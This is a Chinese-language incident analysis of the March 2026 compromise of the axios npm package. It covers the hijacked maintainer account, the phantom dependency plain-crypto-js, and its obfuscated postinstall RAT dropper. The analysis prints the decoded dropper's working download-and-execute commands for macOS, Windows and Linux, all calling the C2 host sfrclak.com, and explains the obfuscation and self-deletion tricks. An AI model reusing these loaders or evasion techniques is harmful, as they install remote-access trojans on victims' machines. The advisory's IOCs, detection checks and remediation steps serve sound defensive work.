2026 年 3 月 30 日,StepSecurity 发现广泛使用的 axios HTTP 客户端库有两个恶意版本被发布到 npm:[email protected][email protected]。两个版本均使用 axios 核心维护者被盗的 npm 凭证发布,绕过了项目正常的 GitHub Actions CI/CD 流水线。攻击者将该维护者的账户邮箱更改为匿名的 ProtonMail 地址,并通过 npm CLI 手动发布了被投毒的包。

这些入侵行为由 StepSecurity AI Package Analyst 和 StepSecurity Harden-Runner 检测发现。问题已向项目维护者负责任地披露

恶意版本注入了一个新依赖 [email protected],该依赖在 axios 源代码中从未被引用。它唯一的目的就是执行一个 postinstall 脚本,充当跨平台远程访问木马(RAT)投放器,目标覆盖 macOS、Windows 和 Linux。投放器会联系一个活跃的命令与控制(C2)服务器,投递针对不同平台的第二阶段载荷。执行完成后,恶意软件会自我删除并用干净版本替换自身的 package.json,以规避取证检测。

两个恶意版本中,axios 自身的代码没有包含任何一行恶意代码。相反,它们都注入了一个虚假依赖 [email protected]——一个在 axios 源码中从未被导入的包,其唯一目的就是运行一个 postinstall 脚本来部署跨平台远程访问木马(RAT)。投放器联系活跃的 C2 服务器,为 macOS、Windows 和 Linux 分别投递不同的第二阶段载荷,然后自我擦除并用干净的伪装版替换自身的 package.json,使得事后检查 node_modules 目录的开发者完全看不出任何异常。

这不是一次投机取巧的攻击。 恶意依赖提前 18 小时预埋。三个独立的载荷分别为三个操作系统预构建。两条发布分支在 39 分钟内先后中招。所有痕迹都被设计为自毁。这是有史以来针对 npm 前十热门包中,操作最精密的供应链攻击之一。

如果你安装了 [email protected][email protected],请假定你的系统已被入侵。

我们对恶意包进行了完整的静态和运行时分析,包括混淆投放器的完整解码。

攻击时间线

攻击在大约 18 小时内分阶段预埋,恶意依赖在 axios 发布之前就已植入 npm,以避免触发安全扫描器对"全新包"的警报:

时间戳(UTC)事件
2026-03-30 05:57[email protected][email protected] 发布——一个干净的伪装包,包含合法 crypto-js 源码的完整副本,没有 postinstall 钩子。其唯一目的是建立 npm 发布历史,使该包在后续检查时不会显示为零历史账户。
2026-03-30 23:59[email protected][email protected] 发布——添加了恶意载荷。引入了 postinstall: "node setup.js" 钩子和混淆投放器。
2026-03-31 00:21[email protected] 由被盗的 jasonsaayman 账户发布(邮箱:[email protected])——将 [email protected] 作为运行时依赖注入,目标是现代 1.x 用户群。
2026-03-31 01:00[email protected] 由同一被盗账户发布——相同的注入方式针对旧版 0.x 分支,39 分钟后发布以最大化两条发布线的覆盖范围。
2026-03-31 ~03:15npm 撤销了 [email protected][email protected]。两个版本从仓库中移除,latest dist-tag 回退到 1.14.0。[email protected] 存活了约 2 小时 53 分钟;[email protected] 存活了约 2 小时 15 分钟。
2026-03-31 03:25npm 对 plain-crypto-js 发起安全冻结,开始用 npm security-holder 占位包替换恶意包。
2026-03-31 04:26npm 在 [email protected] 账户下发布安全占位版本 [email protected],正式替换仓库中的恶意包。[email protected] 存活了约 4 小时 27 分钟。此后尝试安装任何版本的 plain-crypto-js 都会返回安全通知。

背景:什么是 axios?

axios 是 JavaScript 生态系统中最流行的 HTTP 客户端库。几乎每个发起 HTTP 请求的 Node.js 和浏览器应用都在使用它——从 React 前端到 CI/CD 工具再到服务端 API。axios 每周下载量超过 3 亿次,即使只有一个小版本被入侵,其潜在影响范围也极其庞大。开发者执行常规的 npm installnpm update 时,完全没有理由怀疑这个包正在部署恶意软件。

攻击原理

第一步——维护者账户劫持

攻击者入侵了 jasonsaayman 的 npm 账户——这是 axios 项目的主要维护者。该账户的注册邮箱被更改为 [email protected]——一个攻击者控制的 ProtonMail 地址。利用这一权限,攻击者同时在 1.x 和 0.x 发布分支上发布了恶意构建,最大化了受影响项目的数量。

[email protected][email protected] 在 npm 仓库中都记录为由 jasonsaayman 发布,乍一看与合法版本无法区分。

关键的取证信号可以在 npm 仓库元数据中看到。每个合法的 axios 1.x 版本都是通过 GitHub Actions 配合 npm 的 OIDC 可信发布者机制发布的,这意味着发布行为与经过验证的 GitHub Actions 工作流进行了加密绑定。而 [email protected] 完全打破了这一模式——通过窃取的 npm 访问令牌手动发布,没有 OIDC 绑定,也没有 gitHead:

// [email protected] -- 合法版本
"_npmUser": {
  "name": "GitHub Actions",
  "email": "[email protected]",
  "trustedPublisher": {
    "id": "github",
    "oidcConfigId": "oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"
  }
}

// [email protected] -- 恶意版本
"_npmUser": {
  "name": "jasonsaayman",
  "email": "[email protected]"
  // 没有 trustedPublisher,没有 gitHead,没有对应的 GitHub commit 或 tag
}

axios GitHub 仓库中没有任何 commit 或 tag 对应 1.14.1。该版本仅存在于 npm 上。合法版本使用的 OIDC 令牌是临时的,且限定于特定工作流——无法被窃取。攻击者必定获取了该账户的长期有效经典 npm 访问令牌。

第二步——预埋恶意依赖

在发布带后门的 axios 版本之前,攻击者在 npm 上预埋了一个恶意包:[email protected],由一个独立的一次性账户(nrwise,[email protected])发布。注意两个账户一致地使用 ProtonMail——这是该攻击者的操作特征。

这个包被刻意设计成看起来合法的样子:

第三步——将恶意依赖注入 axios

攻击者发布的 [email protected][email protected] 添加了 plain-crypto-js: "^4.2.1" 作为运行时依赖——这个包从未出现在任何合法的 axios 版本中。修改非常精准:其他所有依赖与之前的干净版本完全一致。

干净版本与受感染版本的依赖对比:

当开发者运行 npm install [email protected] 时,npm 解析依赖树并自动安装 [email protected]。然后 npm 执行 plain-crypto-js 的 postinstall 脚本,启动投放器。

幽灵依赖:对 [email protected] 中全部 86 个文件进行 grep 搜索确认,plain-crypto-js 在 axios 源代码中从未被 import 或 require()。它被添加到 package.json 中仅仅是为了触发 postinstall 钩子。一个出现在清单中但在代码库中零使用的依赖,是发布版本被入侵的高置信度指标。

RAT 投放器:setup.js——静态分析

setup.js 是一个单独的压缩文件,采用两层混淆方案,旨在规避静态分析工具并迷惑人工审查者。

混淆技术

所有敏感字符串——模块名、操作系统标识、shell 命令、C2 URL 和文件路径——都以编码值存储在名为 stq[] 的数组中。两个函数在运行时解码它们:

_trans_1(x, r) — XOR 密码。密钥 "OrDeR_7077" 通过 JavaScript 的 Number() 解析:字母字符产生 NaN,在位运算中变为 0。只有位置 6-9 的数字 7、0、7、7 存活,得到有效密钥 [0,0,0,0,0,0,7,0,7,7]。位置 r 的每个字符解码为:

charCode XOR key[(7 * r * r) % 10] XOR 333

_trans_2(x, r) — 外层。反转编码字符串,将 _ 替换为 =,base64 解码结果(将字节解释为 UTF-8 以恢复 Unicode 码点),然后将输出传递给 _trans_1。

投放器的入口点是 _entry("6202033"),其中 6202033 是 C2 URL 路径段。完整的 C2 URL 为:http://sfrclak.com:8000/6202033

完整解码字符串

StepSecurity 完整解码了 stq[] 数组中的每个条目。恢复的明文揭示了完整的攻击:

stq[0]  -> "child_process"   // shell 执行
stq[1]  -> "os"              // 平台检测
stq[2]  -> "fs"              // 文件系统操作
stq[3]  -> "http://sfrclak.com:8000/"  // C2 基础 URL
stq[5]  -> "win32"           // Windows 平台标识
stq[6]  -> "darwin"          // macOS 平台标识
stq[12] -> "curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &"
stq[13] -> "package.json"    // 执行后删除
stq[14] -> "package.md"      // 干净存根重命名为 package.json
stq[15] -> ".exe"
stq[16] -> ".ps1"
stq[17] -> ".vbs"

平台特定载荷

投放器检查 os.platform() 并分支到三条攻击路径之一:

macOS AppleScript 投放器

在 macOS(darwin)上,投放器将一个 AppleScript 文件写入系统临时目录并静默执行:

nohup osascript "<temp_file>" > /dev/null 2>&1 &

AppleScript 使用 POST body packages.npm.org/product0 联系 C2 服务器,下载 macOS RAT 二进制文件,保存到 /Library/Caches/com.apple.act.mond(一个设计得看起来像合法 Apple 系统缓存条目的路径),使用 chmod 770 赋予可执行权限,并通过 /bin/zsh 在后台启动:

do shell script "curl -o /Library/Caches/com.apple.act.mond \
  -d packages.npm.org/product0 \
  -s http://sfrclak.com:8000/6202033 \
  && chmod 770 /Library/Caches/com.apple.act.mond \
  && /bin/zsh -c \"/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &\" \
  &> /dev/null"

AppleScript 文件执行后即被删除。唯一的持久化产物是 /Library/Caches/com.apple.act.mond。该路径经过精心选择:/Library/Caches/ 是系统级目录,在应急响应中很少被检查,而 com.apple.act.mond 这个名字模仿了 Apple 的反向 DNS 守护进程命名约定——后缀很可能是 "Activity Monitor Daemon" 的缩写,用于与同目录中合法的 Apple 后台进程混在一起。

Windows VBScript + PowerShell 投放器

在 Windows(win32)上,攻击链涉及三个阶段:

VBScript 运行一个完全隐藏的 cmd.exe 窗口(0, False 抑制所有 UI):

Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST " & _
  "-d ""packages.npm.org/product1"" " & _
  """http://sfrclak.com:8000/6202033"" > ""<temp.ps1>"" " & _
  "& powershell -w hidden -ep bypass -file ""<temp.ps1>"" " & _
  """http://sfrclak.com:8000/6202033"" & del ""<temp.ps1>"" /f", 0, False

C2 返回一个 PowerShell RAT 脚本,保存为 %TEMP%\6202033.ps1(使用活动 ID 作为文件名)。它以 -ExecutionPolicy Bypass-WindowStyle Hidden 运行,然后自我删除。VBScript(%TEMP%\6202033.vbs)也在 cscript 执行后被删除。唯一的持久化产物是 %PROGRAMDATA%\wt.exe

Linux Python 投放器

在所有其他平台(Linux 等)上,投放器通过 Node.js 的 execSync 执行直接的 shell 命令:

curl -o /tmp/ld.py \
  -d packages.npm.org/product2 \
  -s http://sfrclak.com:8000/6202033 \
&& nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &

C2 返回一个 Python RAT 脚本。它被保存到 /tmp/ld.py 并通过 nohup 在后台执行。文件保留在 /tmp/ld.py

三个产品,一个 C2:每个平台向相同的 C2 URL 发送不同的 POST body——packages.npm.org/product0(macOS)、packages.npm.org/product1(Windows)、packages.npm.org/product2(Linux)。这允许 C2 服务器通过单一端点响应平台适配的载荷。POST body 中的 packages.npm.org/ 前缀是一种刻意的伪装,试图在网络日志和 SIEM 规则中让出站流量看起来像正常的 npm 仓库通信。

自清理——隐藏证据

启动平台载荷后,setup.js 执行三个取证清理步骤,使标准的事后分析变得不可靠:

事后检查 node_modules/plain-crypto-js/package.json 会看到一个完全干净的清单文件。没有 postinstall 脚本,没有 setup.js 文件,没有任何恶意安装的痕迹。运行 npm audit 或手动审查已安装的包目录都不会发现入侵。

为什么目录的存在仍然很重要:即使在清理之后,node_modules/plain-crypto-js/ 目录的存在本身就足以证明被入侵——这个包不是任何合法 axios 版本的依赖。如果你发现这个目录,投放器已经运行过了。

运行时执行验证:StepSecurity Harden-Runner

混淆投放器的静态分析告诉我们恶意软件"打算"做什么。为了确认它确实按设计执行,我们在一个配备了 StepSecurity Harden-Runner 审计模式的 GitHub Actions 运行器中安装了 [email protected]。Harden-Runner 在内核级别捕获每个出站网络连接、每个派生进程和每次文件写入——在审计模式下不干预执行,为我们提供了 npm install 运行时完整的真实画面。

网络事件:跨两个工作流步骤确认 C2 联系

网络事件日志包含两个到 sfrclak.com:8000 的出站连接——特别值得注意的是它们发生的时机:

两个立即引人注目的点:

进程树:运行时观察到的完整攻击链

Harden-Runner 捕获每个 execve 系统调用。原始进程事件重建了从 npm install 到 C2 联系的精确执行链:

PID 2366 bash /home/runner/work/_temp/***.sh [01:30:48.186Z]
 -> PID 2380 env node npm install [email protected] [01:30:49.603Z]
   -> PID 2391 sh -c "node setup.js" [01:30:50.954Z]
   |  cwd: node_modules/plain-crypto-js  <- postinstall 钩子触发
   -> PID 2392 node setup.js [01:30:50.955Z]
   |  cwd: node_modules/plain-crypto-js
   -> PID 2399 /bin/sh -c "curl -o /tmp/ld.py \  [01:30:50.978Z]
       -d packages.npm.org/product2 \
       -s http://sfrclak.com:8000/6202033 \
       && nohup python3 /tmp/ld.py \
       http://sfrclak.com:8000/6202033 \
       > /dev/null 2>&1 &"

PID 2401 curl -o /tmp/ld.py -d packages.npm.org/product2 [01:30:50.979Z]
  ppid: 2400  <- nohup 的子进程

PID 2400 nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 [01:31:27.732Z]
  ppid: 1  <- 孤立到 INIT——已从 npm 进程树中分离

进程树确认了从 setup.js 静态解码的精确执行链。从原始 npm install 到 C2 回调之间有四层进程间接调用:npm -> sh -> node -> sh -> curl/nohup。nohup 进程(PID 2400)报告 ppid: 1 是守护化技术的技术确认——当 npm install 成功返回时,一个分离的进程已经在后台运行 /tmp/ld.py 了。

入侵指标(IOC)

恶意 npm 包

网络指标

文件系统指标

攻击者控制的账户

安全版本参考

我是否受到影响?

检查项目中是否存在恶意 axios 版本:

npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4"
grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4"

检查 node_modules 中是否存在 plain-crypto-js:

ls node_modules/plain-crypto-js 2>/dev/null && echo "可能受影响"

如果 setup.js 已经运行,该目录中的 package.json 已被替换为干净存根。目录的存在本身就足以证明投放器已执行。

检查受影响系统上的 RAT 产物:

# macOS
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "已被入侵"

# Linux
ls -la /tmp/ld.py 2>/dev/null && echo "已被入侵"

# Windows (cmd.exe)
dir "%PROGRAMDATA%\wt.exe" 2>nul && echo 已被入侵

检查 CI/CD 流水线日志中是否有任何 npm install 执行拉取了 [email protected][email protected]。任何安装了这两个版本的流水线都应被视为已被入侵,所有注入的密钥都应立即轮换。

修复措施

  1. 降级 axios 到干净版本并锁定
npm install [email protected]   # 1.x 用户
npm install [email protected]   # 0.x 用户

添加 overrides 块以防止传递解析回退到恶意版本:

{
  "dependencies": { "axios": "1.14.0" },
  "overrides": { "axios": "1.14.0" },
  "resolutions": { "axios": "1.14.0" }
}
  1. 从 node_modules 中移除 plain-crypto-js
rm -rf node_modules/plain-crypto-js
npm install --ignore-scripts
  1. 如果发现 RAT 产物:将系统视为完全被入侵。不要尝试原地清理——从已知安全的状态重新构建。

  2. 在所有运行过恶意包的系统上轮换所有凭证:npm 令牌、AWS 访问密钥、SSH 私钥、云凭证(GCP、Azure)、CI/CD 密钥,以及安装时可访问的 .env 文件中的所有值。

  3. 审计 CI/CD 流水线中安装了受影响版本的运行记录。任何执行了这些版本的 npm install 的工作流都应轮换所有注入的密钥。

  4. 在 CI/CD 中使用 --ignore-scripts 作为常规策略,防止自动构建期间运行 postinstall 钩子:

npm ci --ignore-scripts
  1. 在网络/DNS 层面封锁 C2 流量,作为对任何可能受影响系统的预防措施:
# 通过防火墙封锁(Linux)
iptables -A OUTPUT -d 142.11.206.73 -j DROP

# 通过 /etc/hosts 封锁(macOS/Linux)
echo "0.0.0.0 sfrclak.com" >> /etc/hosts

原文链接:StepSecurity - axios Compromised on npm

推文来源:@evilcos